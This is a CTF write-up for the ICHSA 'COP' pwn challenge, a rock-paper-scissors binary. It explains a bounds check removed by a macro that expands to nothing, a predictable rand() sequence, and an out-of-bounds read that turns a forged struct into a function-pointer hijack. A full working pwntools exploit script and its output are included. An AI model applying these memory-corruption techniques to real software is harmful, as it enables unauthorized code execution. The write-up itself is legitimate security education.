There weren’t many pwn challenges in ICHSA CTF, but this challenge was a little bit fun for its originality.
Hi COP
I wrote a game that should be impossible to win.
A friend of mine managed to get the flag in a few seconds.
Can you help me find out how?
Connect: nc cop.ichsa.ctf.today 8011
challenge author: Yossef Kuszer
Files: COP.zip
Original:
1
2
3
4
5
6
7
8
9
| $ tree COP
COP
├── chalenge.c
├── chalenge.h
├── cop.gif
├── description.md
├── Dockerfile
├── DockerInstructions.md
└── flag.txt
|
Updated version:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| $ unzip -l COP.zip
Archive: COP.zip
Length Date Time Name
--------- ---------- ----- ----
0 2021-06-01 22:13 COP1/
15690 2021-05-09 20:29 COP1/chalenge.c
71732 2021-05-06 10:43 COP1/chalenge.h
3916371 2021-05-09 20:52 COP1/cop.gif
190 2021-05-10 09:01 COP1/description.md
519 2021-05-09 20:25 COP1/Dockerfile
119 2021-05-10 09:55 COP1/DockerInstructions.md
21 2021-05-30 12:28 COP1/flag.txt
1035536 2021-06-01 22:05 COP1/game
--------- -------
5040178 9 files
|
The binary is compiled with -static
, so there’s no need for libc. As for the binary itself:
1
2
3
4
5
6
| [*] 'game'
Arch: amd64-64-little
RELRO: Partial RELRO !
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) !
|
Source code is provided, so I’ll be skipping on the usual decompilation effort.
Bugs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| +===============================================+
| Wellcome to my Rock-Paper-Scissors's game |
+-----------------------------------------------+
| Current score:
| NOOB player: 0 Points
| Computer: 0 Points
+-----------------------------------------------+
| Options:
| 1) Display game rules ------------- (0 Points)
| 2) Play next round ---------------- (0 Points)
| 3) Skip N rounds ------------------ (2 Points)
| 4) Enable Ascii-art --------------- (3 Points)
| 5) Change user name --------------- (5 Points)
| 6) Print the flag! ------- (4294967295 Points)
| 7) Exit --------------------------- (0 Points)
+-----------------------------------------------+
| Please chose an option [ ]
|
The challenge provided is a simple rock-paper-scissors simulator, limited to ARRAY_OF_PLAYS_MAX_SIZE == 170
rounds. When the game starts, the program will initialize the 170 moves the computer plans to play using rand()/srand()
:
1
2
3
4
5
6
7
8
| // initializing pseudo-random values and populate array_of_plays
srand(0);
for(uint8_t i = 0; i < ARRAY_OF_PLAYS_MAX_SIZE; i++)
{
game_ctx->array_of_plays[i].id = i;
game_ctx->array_of_plays[i].handsign = (rand() % MAX_HANDSIGNS) + MIN_HANDSIGN;
game_ctx->array_of_plays[i].animation_function = print_ascii;
}
|
rand()
is predictable, and we can win every round of Rock-Paper-Scissors with 100% accuracy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| from pwn import *
context.binary = 'game'
from ctypes import CDLL
clib = CDLL('libc.so.6')
clib.srand(0)
ARRAY_OF_PLAYS_MAXSIZE = 170
array_of_plays = [clib.rand()%3 for _ in range(ARRAY_OF_PLAYS_MAXSIZE)]
current_play = 0
r = remote('cop.ichsa.ctf.today', 8011)
def choose(opt: int):
r.recvuntil('[ ]\b\b')
r.sendline(str(opt))
def win_round():
global current_play
choose(2)
r.recvuntil('[ ]\b\b')
cpu_play = array_of_plays[current_play]
current_play += 1
user_play = {0:1, 1:2, 2:0}[cpu_play]+1
r.sendline(str(user_play))
|
Unfortunately, we’ll never obtain the flag by just winning normal rounds, because the option to obtain the flag requires 4294967295 Points
.
This is where Skip N Rounds
comes into play. The code for skip_n_rounds()
seems safe enough:
1
2
3
4
5
6
7
| printf("| You chose to skip %u rounds\n", rounds_to_skip);
// Check for uint8_t integer overflow
if(OVERFLOW_CHECK(rounds_to_skip,ARRAY_OF_PLAYS_MAX_SIZE))
SET_STATUS_TO_FALSE_AND_BREAK(status)
if(game_ctx->current_play + rounds_to_skip > ARRAY_OF_PLAYS_MAX_SIZE)
SET_STATUS_TO_FALSE_PRINT_AND_BREAK(status, "| Overflow - Not jumping\n")
CHANGE_GAME_CTX_FIELD(current_play, game_ctx->current_play + rounds_to_skip)
|
The last if-statement in there is bugged as a result of chalenge.h
:
1
2
3
4
5
6
7
8
9
10
11
12
| #ifndef DEBUG_MODE
...
#define POINTS_TO_PRINT_FLAG -1u // UINT64_MAX
#define SET_STATUS_TO_FALSE_PRINT_AND_BREAK(status, msg)
#else
#define POINTS_TO_PRINT_FLAG 0
#define SET_STATUS_TO_FALSE_PRINT_AND_BREAK(status, msg) \
{\
printf(msg);\
SET_STATUS_TO_FALSE_AND_BREAK(status)\
}
#endif
|
The macro SET_STATUS_TO_FALSE_PRINT_AND_BREAK()
expands to nothing when DEBUG_MODE
is off. We know that this is the case because POINTS_TO_PRINT_FLAG
is -1u
and not 0
.
Because of this, game_ctx->current_play
can be increased beyond ARRAY_OF_PLAYS_MAX_SIZE
. This results in an oob array index in play_next_round()
:
1
2
3
4
5
| bool play_next_round()
{ ...
struct play current_play = {0};
...
current_play = game_ctx->array_of_plays[game_ctx->current_play];
|
That oob array index allows us to generate an arbitrary struct play current_play
. To grasp why, we need to backtrack and cover a few other details.
First off, game_ctx->array_of_plays == 0xC0FFEE2000
, and game_ctx == 0xC0FFEEF000
. This happens because of mmap()
address hints:
1
2
3
4
5
6
7
8
9
10
| #define GAME_CTX_ID (void *) 0xC0FFEEFAC3
#define ARRAY_OF_PLAYS_ID (void *) 0xC0FFEE2A11
void init_game(){
// Allocate some memory for the game_ctx
game_ctx = mmap(GAME_CTX_ID, PAGE_SIZE, PROT_WRITE | PROT_READ , MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
...
// Allocate some memory for the game_ctx->array_of_plays
game_ctx->array_of_plays = mmap(ARRAY_OF_PLAYS_ID, PAGE_SIZE, PROT_WRITE | PROT_READ , MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
...
}
|
The end result is that ((void*)game_ctx->array_of_plays)+0xd000 == (void*)game_ctx
, meaning that a sufficiently high value of game_ctx->current_play
in game_ctx->array_of_plays[game_ctx->current_play];
will pull data from game_ctx
. In particular, we’ll want to index all the way to game_ctx->player_name[]
.
1
2
3
4
5
6
7
8
9
10
| #define PLAYER_NAME_SIZE 1024
struct game_ctx_t
{
uint64_t user_points;
uint64_t pc_points;
uint32_t current_play : 12;
uint32_t ascii_art_enabled : 2;
char player_name[PLAYER_NAME_SIZE];
struct play * array_of_plays;
};
|
player_name[]
is user-controllable as a result of change_user_name()
:
1
2
3
4
5
6
7
| bool change_user_name() {
....
//Get user input
if(NULL == fgets(game_ctx->player_name, PLAYER_NAME_SIZE, stdin))
SET_STATUS_TO_FALSE_AND_BREAK(status)
....
}
|
Getting an arbitrary struct play current_play
is now an implementation problem. We’ll start by earning 5 points:
1
| for i in range(5): win_round()
|
Then we’ll increment game_ctx->current_play
to an appropriate value, based on sizeof(struct play) == 24
and game_ctx->player_name == game_ctx->array_of_plays+0xd018
:
1
2
3
4
5
6
7
8
9
10
| def skip(n: int):
choose(3)
r.recvuntil('[ ]\b\b\b')
r.sendline(str(n))
OFFSET_TO_NAME = 0xd018
SIZEOF_PLAY = 24
while current_play < OFFSET_TO_NAME//SIZEOF_PLAY:
toskip = min([255, (OFFSET_TO_NAME-current_play*SIZEOF_PLAY)//SIZEOF_PLAY+1])
current_play += toskip
skip(toskip)
|
We’ll follow that up by inserting the desired fake struct play
inside player_name
:
1
2
3
4
5
6
7
8
9
| choose(5) # change username
r.recvuntil('new username: ')
fakeplay = p32(1) + b'a'*10 + pack(context.binary.symbols['print_flag']+0x66) + pack(1) # no idea where the b'a'+10 comes from.
'''struct play { //sizeof 24
uint32_t id = 1;
void (* animation_function)(enum handsigns, enum handsigns) = print_flag+0x66;
enum handsigns handsign = 1;
};'''
r.sendline(b'a'*(current_play*SIZEOF_PLAY-OFFSET_TO_NAME)+fakeplay)
|
Over here, the fake play
structure has animation_function
set to print_flag+0x66
. The +0x66
is there to bypass the POINTS_TO_PRINT_FLAG
check in print_flag()
.
With ->current_play
and ->player_name
in check, we only need to call current_play->animation_function
to win.
1
2
3
4
5
| // if ascii art enabled, call function ptr
if(game_ctx->ascii_art_enabled)
{
current_play.animation_function(current_play.handsign, handsig_input);
}
|
To get to this part of the code, we only need to
1
2
3
4
5
| choose(4) # enable ascii art
choose(2) # start the next round
r.recvuntil('[ ]\b\b')
r.sendline('1') # pick any option
print(r.recvall()) # get flag
|
1
2
3
4
| [+] Opening connection to cop.ichsa.ctf.today on port 8011: Done
[+] Receiving all data: Done (151B)
[*] Closed connection to cop.ichsa.ctf.today port 8011
b'| Computer chosed: 1\n| You chosed: 1\n| It is a tie\n| Point goes to: no one\n| The flag is:ICHSA_CTF{exploitation_with_cop_is_why_better_than_any_crime}\n'
|
Full script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| from pwn import *
context.binary = 'game'
from ctypes import CDLL
clib = CDLL('libc.so.6')
clib.srand(0)
ARRAY_OF_PLAYS_MAXSIZE = 170
array_of_plays = [clib.rand()%3 for _ in range(ARRAY_OF_PLAYS_MAXSIZE)]
current_play = 0
r = remote('cop.ichsa.ctf.today', 8011)
def choose(opt: int):
r.recvuntil('[ ]\b\b')
r.sendline(str(opt))
def win_round():
global current_play
choose(2)
r.recvuntil('[ ]\b\b')
cpu_play = array_of_plays[current_play]
current_play += 1
user_play = {0:1, 1:2, 2:0}[cpu_play]+1
r.sendline(str(user_play))
def skip(n: int):
choose(3)
r.recvuntil('[ ]\b\b\b')
r.sendline(str(n))
for i in range(5): win_round()
OFFSET_TO_NAME = 0xd018
SIZEOF_PLAY = 24
while current_play < OFFSET_TO_NAME//SIZEOF_PLAY:
toskip = min([255, (OFFSET_TO_NAME-current_play*SIZEOF_PLAY)//SIZEOF_PLAY+1])
current_play += toskip
skip(toskip)
choose(5) # change username
r.recvuntil('new username: ')
fakeplay = p32(1) + b'a'*10 + pack(context.binary.symbols['print_flag']+0x66) + pack(1)
r.sendline(b'a'*(current_play*SIZEOF_PLAY-OFFSET_TO_NAME)+fakeplay)
choose(4) # enable ascii art
choose(2) # win
r.recvuntil('[ ]\b\b')
r.sendline('1')
print(r.recvall())
|